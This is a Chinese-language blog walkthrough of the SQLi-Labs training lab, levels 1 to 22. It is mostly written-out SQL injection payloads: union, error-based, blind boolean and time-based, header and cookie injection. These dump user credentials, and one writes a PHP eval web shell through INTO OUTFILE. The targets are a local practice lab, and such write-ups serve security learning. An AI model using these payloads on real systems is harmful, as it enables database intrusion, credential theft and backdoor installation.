Back to Blog

【靶场实战】SQLi-Labs 通关攻略 (Less 1 - Less 22)

SQLi-Labs Medium

SQLi-Labs 漏洞复现level1~level22 (Basic Challenges)

靶场数据库初始化

启动 Docker 容器后,进入靶场主页。为了使靶场正常工作,需要先点击 Setup/reset Database for labs 进行数据库初始化和建表.

less-1基于错误的单引号字符串

1.题目界面

![](./sqli-labs-wp.assets/屏幕截图 2026-06-14 185707.png)


2. 注入点探测与判断

访问第一关,传入参数 ?id=1,页面返回 Your Login nameYour Password。 在参数后添加单引号 ' 进行探测:

http://localhost:6651/Less-1/?id=1'

页面爆出 SQL 语法错误: you have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这说明 SQL 查询语句类似于: SELECT * FROM users WHERE id='$id' LIMIT 0,1 多出的单引号破坏了闭合结构。因此,这是一个单引号闭合的字符型注入点,我们需要使用 --+# 将后面的内容注释掉。


3. 判断字段数与寻找显示位

首先使用 order by 探测原查询语句返回的字段数:

?id=1' order by 3--+ 
?id=1' order by 4--+ 

报错说明字段数为 3

接着,让前半句查询失效(使 id=-1),并使用 union select 寻找页面上的数据回显位:

http://localhost:6651/Less-1/?id=-1' union select 1,2,3--+

页面回显了 23,说明我们可以在第 2 位 and 第 3 位上获取我们想要的数据。

获取当前数据库名和版本号:

http://localhost:6651/Less-1/?id=-1' union select 1,database(),version()--+

  • 当前数据库security
  • MySQL 版本5.6.xx(大于 5.0,支持从 information_schema 查表名)

4. 获取敏感数据(爆表名与列名)

利用 information_schema 爆出 security 数据库下的所有表名:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

![](./sqli-labs-wp.assets/屏幕截图 2026-06-14 191315-1781451258783-1.png)

在页面中发现敏感表名:users

接着,爆出 users 表中的所有列名:

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

发现关键列名:usernamepassword

![](./sqli-labs-wp.assets/屏幕截图 2026-06-14 191619.png)


5. 获取信息

使用 group_concat 将表中的ID,用户名和密码输出:

?id=-1' union select 1,2,group_concat(id,username,password) from users --+

页面成功回显出所有用户的账号与密码,Less-1 通关。

![](./sqli-labs-wp.assets/屏幕截图 2026-06-14 191713.png)

less-2基于错误的GET整型注入

1.题目

整形注入的原理相当于参数拼接,可执行任意命令不需要闭合

$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = " . $id;

2.获取信息

前面的步骤差不多,直接看用户的账号与密码

?id=-1 union select 1,2,group_concat(id,username,password) from users --+

Less-3 基于错误的GET单引号变形字符型注入

1.题目

2.分析

发现多了个),应该是是再单引号的基础上嵌套了().

$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = ('" . $id . "')";

使用')来闭合以执行用户输入的sql语句.

3.获取信息

?id=-1')union select 1,2,group_concat(id,username,password) from users --+

Less-4 基于错误的GET双引号字符型注入

1.题目

2.分析

我就直接看”闭合的报错了,知道应使用")来闭合.

3.获取信息

?id=-1")union select 1,2,group_concat(id,username,password) from users --+

Less-5 双注入GET单引号字符型注入

1.题目

2.分析

使用"闭合时出现不一样的内容但是没有意义,题目有点像盲注。但题目要使用双注:在一个 SQL 查询语句中,嵌套另一个子查询语句(即“双重查询”).查询 information_schema.tables,确保有足够多的数据行。构造 database() + 随机 0/1 的分组字段。利用 group by 和 rand(0) 的特性制造重复键报错。让想要的信息出现在报错信息里。

3.获取信息

?id=1' union select 1, count(*), concat((select concat(0x5E,username, 0x3a, password,0x5E) from users limit 0,1), '~', floor(rand(0)*2)) as x from information_schema.tables group by x--+

还是这个页面,可能是报错信息太长了。使用limit 0,1 每次只查一条记录.

使用burp suite获取数据包后,将数据包发到intruder进行爆破使用spiner模式获取全部信息。

Less-6 双注入GET双引号字符型注入

1.题目

2.获取信息

与上一题差别不大,只是使用"闭合

?id=1" union select 1, count(*), concat((select concat(0x5E,username, 0x3a, password,0x5E) from users limit 0,1), '~', floor(rand(0)*2)) as x from information_schema.tables group by x--+

还是使用burp suite获取全部信息

Less-7 导出文件GET字符型注入

1.题目

2.分析

先看看是什么闭合方式

测试过后发现是用'))闭合。提示使用outfile,可以使用 union select 配合 into outfile 向服务器的 Web 目录写入一个 PHP 后门文件(如 shell.php)。如果写入成功可以用蚁剑连接查看文件详情。

?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile '/var/www/html/shell.php'--+

由于是docker部署容器内部默认不存在 /var/www/html/ 这个目录,所以写入不了,但是大概思路是这样的。

Less-8 布尔型单引号GET盲注

1.题目

2.分析

回显只有正确或者无回显,说明是布尔盲注。测试闭合方式:

  • 当输入 ?id=1' 时,页面无回显;
  • 当输入 ?id=1' and 1=1--+ 时,页面正常显示 You are in...........
  • 当输入 ?id=1' and 1=2--+ 时,页面无回显。 由此判断,该关卡为单引号闭合的布尔盲注点。

3.获取信息

利用页面对 True 和 False 的回显差异(有无 You are in........... 提示),我们可以对数据进行逐个字节的盲注:

  • 获取当前数据库长度(长度为 8 时页面回显正常):

    ?id=1' and length(database())=8--+
  • 猜解当前数据库名字的每个字符(第一位字符 ASCII 码为 115 即字母 s 时页面回显正常):

    ?id=1' and ascii(substr(database(),1,1))=115--+
  • 获取数据: 在实际复现中,可以利用 Burp Suite 的 Intruder 模块将请求包中的 ascii 码值和 substr 偏移位设置为变量,进行自动化爆破,通过筛选响应长度(Length)差异或页面过滤匹配,得到数据库中的表名、列名以及所有账号密码。

不过还是太麻烦了,可以使用sqlmap进行注入。

Less-9 基于时间的GET单引号盲注

1.题目

![](./sqli-labs-wp.assets/屏幕截图 2026-06-15 131922-1781501758154-1.png)

2.分析

不论输入正确还是错误的 Payload,页面始终显示 You are in...........,无法通过页面回显变化来判断。我们需要引入时间延迟函数 sleep() 进行测试:

?id=1' and sleep(5)--+

可以看到浏览器标签页持续加载,响应时间延迟了 5 秒,这证明了单引号闭合的时间盲注点存在:

3.获取信息

利用 if(expr1, expr2, expr3) 条件判断函数配合 sleep()。如果 expr1 为真,则执行 sleep(5) 延迟响应,否则执行 1 立即返回:

  • 判断数据库名长度是否为 8

    ?id=1' and if(length(database())=8, sleep(5), 1)--+
  • 判断数据库名第一位是否为 ‘s’ (ASCII 码 115)

    ?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 1)--+
  • 自动化获取数据: 在实际复现中,可以利用 Python 脚本或者 Burp Suite 的 Intruder 模块对字符和 ASCII 码进行爆破,根据响应时间(Response Time)筛选出发生延迟的包,从而获取完整的账号密码:

全部结果使用sqlmap来获取

Less-10 基于时间的双引号盲注

1.题目

2.分析

输入:通过在参数中测试双引号 " 和时间延迟函数 sleep(5) 来寻找注入点。如果输入: ?id=1" and sleep(5)--+ 发现浏览器页面加载时间明显延迟了 5 秒,说明系统对参数的处理存在双引号闭合的时间盲注漏洞。

3.获取信息

同样利用 if() 条件判断配合 sleep() 进行数据盲注。因为是双引号闭合,只需将参数两端的包裹字符改为双引号 " 即可:

  • 猜解数据库名长度

    ?id=1" and if(length(database())=8, sleep(5), 1)--+
  • 猜解数据库名第一位字符(判断是否为 ‘s’)

    ?id=1" and if(ascii(substr(database(),1,1))=115, sleep(5), 1)--+

使用sqlmap

Less-11 基于错误的PSOT单引号字符

1.题目

2.分析

看来是post请求,随便填一个用户名和密码看看。

可以看到post请求的参数是passwd,sumbit,uname.那么接下来测试是什么闭合方式.

测试发现是'闭合,接下来的步骤与前GET请求相同,找表名->找列名->获取信息。

3.获取信息

uname=1' union select 1,group_concat(id,username,password) from users --+

Less-12 基于错误的双引号POST型字符变形注入

1.题目

2.获取信息

闭合方式是")

uname=1") union select 1,group_concat(id,username,password) from users --+

Less-13 POST 单引号变形双注入

1.题目

2.分析

又是双注,还是利用 group by 和 rand(0) 的特性制造重复键报错。让想要的信息出现在报错信息里。

3.获取信息

使用')闭合,话说这个双注怎么这么麻烦。

uname=1') union select count(*),concat((select concat(0x5E,username, 0x3a, password,0x5E) from users limit 0,1), '~', floor(rand(0)*2)) as x from information_schema.tables group by x --+

使用burp suite获取全部信息,也可以自己一个一个动手看。

Less-14 POST双引号变形双注入

1.题目

2.获取信息

不浪费时间了,使用"闭合

uname=1" union select count(*),concat((select concat(0x5E,username, 0x3a, password,0x5E) from users limit 0,1), '~', floor(rand(0)*2)) as x from information_schema.tables group by x --+

Less-15 基于bool型/时间延迟单引号POST型盲注

1.题目

image-20260615223829944

2.获取信息

布尔盲注的原理之前提过了,这里还是直接使用工具,使用—data选项将参数传入。

image-20260615225515792

Less-16 post方法双引号括号绕过时间盲注

1.题目

image-20260615230034330

2.获取信息

记得使用—level 和 —risk选项,使用—technique T 指定时间盲注,使用—dbms=mysql指定数据库类型

image-20260615233819909

Less-17 基于错误的更新查询POST注入

1.题目

image-20260615230229335

2.分析

这道题对于uname检查严格,但是passwd没有检查,那就从passwd进行注入。由于页面没有数据回显,但后台开启了数据库错误打印,且原 SQL 语句是 UPDATE(更新)语句而非 SELECT(查询)语句,无法使用 UNION 联合查询,因此必须使用基于 updatexml() 的报错注入来获取数据。为了在 UPDATE users 的同时获取 users 表里的用户名,必须使用**双重子查询(临时表别名)**的语法来绕过限制。

3.获取信息

uname=admin&passwd=1' and updatexml(1, concat(0x7e,(select concat(temp.username, 0x3A, temp.password)from (select username, password from users limit 0,1) as temp),0x7e), 1)--+

image-20260616004244220

image-20260616004345968

Less-18 基于错误的用户代理,头部POST注入

1.题目

image-20260616000406318

2.分析

使用弱口令admin登陆后,页面多了一行User-Agent,提示对User-Agent进行注入。

image-20260616001054413

3.获取数据

可以使用burp suite修改数据包

1' and extractvalue(1,concat(0x7e,(select concat(username,0x3A,password)from users limit 0,1),0x7e))='

image-20260616010148306

image-20260616010308256

Less-19 基于头部的RefererPOST报错注入

1.题目

image-20260616121459968

2.分析

这关使用弱口令admin登陆后页面打印的是Referer,提示对Referer进行注入。

![](./sqli-labs-wp1.assets/屏幕截图 2026-06-16 121259.png)

3.获取信息

1' and extractvalue(1,concat(0x7e,(select concat(username,0x3A,password)from users limit 0,1),0x7e))='

image-20260616121807378

Less-20 基于错误的cookie头部POST注入

1.题目

image-20260616123214970

2.分析

先登陆看看,发现提示是cookie

image-20260616122921198

添加cookie:uname=admin发现页面打印了很多信息,应该还是报错注入。

image-20260616131449569

3.获取信息

admin' and extractvalue(1,concat(0x7e,(select concat(username,0x3A,password)from users limit 0,1),0x7e))='

image-20260616131849551

Less-21 基于错误的复杂的字符型Cookie注入

1.题目

image-20260616132417336

2.分析

使用弱口令登陆后发现cookie中的uname的值是base64编码。

image-20260616144511779

3.获取信息

闭合方式我直接看源码了,使用('1'='1闭合,记得base64编码

admin') and extractvalue(1,concat(0x7e,(select concat(username,0x3A,password)from users limit 0,1),0x7e)) and ('1'='1

编码后:

YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBjb25jYXQodXNlcm5hbWUsMHgzQSxwYXNzd29yZClmcm9tIHVzZXJzIGxpbWl0IDAsMSksMHg3ZSkpIGFuZCAoJzEnPScx

Less-22 基于错误的双引号字符型Cookie注入

1.题目

image-20260616150504315

2.获取信息

没区别,改为"就行

admin” and extractvalue(1,concat(0x7e,(select concat(username,0x3A,password)from users limit 0,1),0x7e)) and "1"="1

编码后:

YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGNvbmNhdCh1c2VybmFtZSwweDNBLHBhc3N3b3JkKWZyb20gdXNlcnMgbGltaXQgMCwxKSwweDdlKSkgYW5kICIxIj0iMQ==